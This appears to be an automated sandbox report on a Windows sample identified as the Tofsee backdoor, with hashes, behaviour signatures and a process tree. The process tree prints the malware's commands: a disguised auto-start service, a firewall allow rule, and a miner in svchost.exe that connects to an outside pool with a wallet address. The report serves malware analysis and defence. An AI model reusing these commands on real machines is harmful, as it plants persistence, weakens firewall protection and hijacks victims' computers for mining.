Overview

overview

10

Static

static

a2a4f8e26d...f7.exe

windows7_x64

10

a2a4f8e26d...f7.exe

windows10_x64

10

Analysis

  • max time kernel
    144s
  • max time network
    148s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    13-11-2020 16:08

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    a2a4f8e26d4c880ba8584c22ae531a07842fec20c72295cb8e6eaa7d507ef7f7.exe

  • Size

    12.1MB

  • MD5

    2809f01d292e0f6cf6dbb1e1237fe0bc

  • SHA1

    11164003530c82681901facb41627295398ae78f

  • SHA256

    a2a4f8e26d4c880ba8584c22ae531a07842fec20c72295cb8e6eaa7d507ef7f7

  • SHA512

    f12c24a726f92256544151176302fe318cfd8d20fe8719b9b5c4590e8681ed5918b674a152f00a646b1eb0fb972a250ab9eeb5616ee8c341b72e4c336724c273

Score
10/10
tofseeevasionpersistencetrojan

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs
    evasiontrojan
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Sets service image path in registry 2 TTPs
    persistence
  • Deletes itself 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Modifies service 2 TTPs 6 IoCs
    persistence
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a2a4f8e26d4c880ba8584c22ae531a07842fec20c72295cb8e6eaa7d507ef7f7.exe
    "C:\Users\Admin\AppData\Local\Temp\a2a4f8e26d4c880ba8584c22ae531a07842fec20c72295cb8e6eaa7d507ef7f7.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:784
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\gaabuek\
      2⤵
        PID:1192
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\vdswjhqq.exe" C:\Windows\SysWOW64\gaabuek\
        2⤵
          PID:1264
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create gaabuek binPath= "C:\Windows\SysWOW64\gaabuek\vdswjhqq.exe /d\"C:\Users\Admin\AppData\Local\Temp\a2a4f8e26d4c880ba8584c22ae531a07842fec20c72295cb8e6eaa7d507ef7f7.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1648
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description gaabuek "wifi internet conection"
            2⤵
              PID:396
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start gaabuek
              2⤵
                PID:1468
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                • Modifies service
                PID:1156
            • C:\Windows\SysWOW64\gaabuek\vdswjhqq.exe
              C:\Windows\SysWOW64\gaabuek\vdswjhqq.exe /d"C:\Users\Admin\AppData\Local\Temp\a2a4f8e26d4c880ba8584c22ae531a07842fec20c72295cb8e6eaa7d507ef7f7.exe"
              1⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:748
              • C:\Windows\SysWOW64\svchost.exe
                svchost.exe
                2⤵
                • Deletes itself
                • Drops file in System32 directory
                • Modifies service
                • Suspicious use of SetThreadContext
                • Modifies data under HKEY_USERS
                • Suspicious use of WriteProcessMemory
                PID:1424
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe -o msr.pool.gntl.co.uk:40005 -u 5nFN8BzQ1qP3PkbVHj5ooXSENsHFHMAj51jbA7YySkuEH8nBDYWHhhFQjiwcVqb9H8Soz3YTG6SijYVz1ntV1TAa5qAMCwu+60000 -p x -k
                  3⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1696

            Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\AppData\Local\Temp\vdswjhqq.exe
              MD5

              44983b2daac9865ed5c3fec5265e56a1

              SHA1

              3cdcefdff99c303d556326b0cff8c8dce7e97e46

              SHA256

              8779e0a93d0c8d124beb4a47ed2c637fa88359f0f29131375a36e5c5c2a528cc

              SHA512

              46d75292436f418bc752836cef8fc3875323d28134ac4c0881bf50f9d8278ce5858ac15172ba0729c66ff161099817c58c4ddc09c58e0679d2bd832d96f1431f

              Download Submit

            • C:\Windows\SysWOW64\gaabuek\vdswjhqq.exe
              MD5

              44983b2daac9865ed5c3fec5265e56a1

              SHA1

              3cdcefdff99c303d556326b0cff8c8dce7e97e46

              SHA256

              8779e0a93d0c8d124beb4a47ed2c637fa88359f0f29131375a36e5c5c2a528cc

              SHA512

              46d75292436f418bc752836cef8fc3875323d28134ac4c0881bf50f9d8278ce5858ac15172ba0729c66ff161099817c58c4ddc09c58e0679d2bd832d96f1431f

              Download Submit

            • memory/396-6-0x0000000000000000-mapping.dmp

              Download

            • memory/748-11-0x0000000000A80000-0x0000000000A91000-memory.dmp

              Filesize

              68KB

              Download

            • memory/748-9-0x000000000063B000-0x000000000063C000-memory.dmp

              Filesize

              4KB

              Download

            • memory/784-1-0x0000000001EC0000-0x0000000001ED1000-memory.dmp

              Filesize

              68KB

              Download

            • memory/784-0-0x00000000002CB000-0x00000000002CC000-memory.dmp

              Filesize

              4KB

              Download

            • memory/1156-10-0x0000000000000000-mapping.dmp

              Download

            • memory/1192-2-0x0000000000000000-mapping.dmp

              Download

            • memory/1264-3-0x0000000000000000-mapping.dmp

              Download

            • memory/1424-16-0x00000000001C0000-0x00000000001C6000-memory.dmp

              Filesize

              24KB

              Download

            • memory/1424-13-0x00000000000D9A6B-mapping.dmp

              Download

            • memory/1424-12-0x00000000000D0000-0x00000000000E5000-memory.dmp

              Filesize

              84KB

              Download

            • memory/1424-15-0x0000000001DB0000-0x0000000001FBF000-memory.dmp

              Filesize

              2.1MB

              Download

            • memory/1424-17-0x00000000001D0000-0x00000000001E0000-memory.dmp

              Filesize

              64KB

              Download

            • memory/1424-18-0x0000000000220000-0x0000000000225000-memory.dmp

              Filesize

              20KB

              Download

            • memory/1424-19-0x0000000005910000-0x0000000005D1B000-memory.dmp

              Filesize

              4.0MB

              Download

            • memory/1424-20-0x0000000000240000-0x0000000000247000-memory.dmp

              Filesize

              28KB

              Download

            • memory/1468-7-0x0000000000000000-mapping.dmp

              Download

            • memory/1648-5-0x0000000000000000-mapping.dmp

              Download

            • memory/1696-21-0x0000000000180000-0x0000000000271000-memory.dmp

              Filesize

              964KB

              Download

            • memory/1696-22-0x0000000000180000-0x0000000000271000-memory.dmp

              Filesize

              964KB

              Download

            • memory/1696-24-0x000000000021259C-mapping.dmp

              Download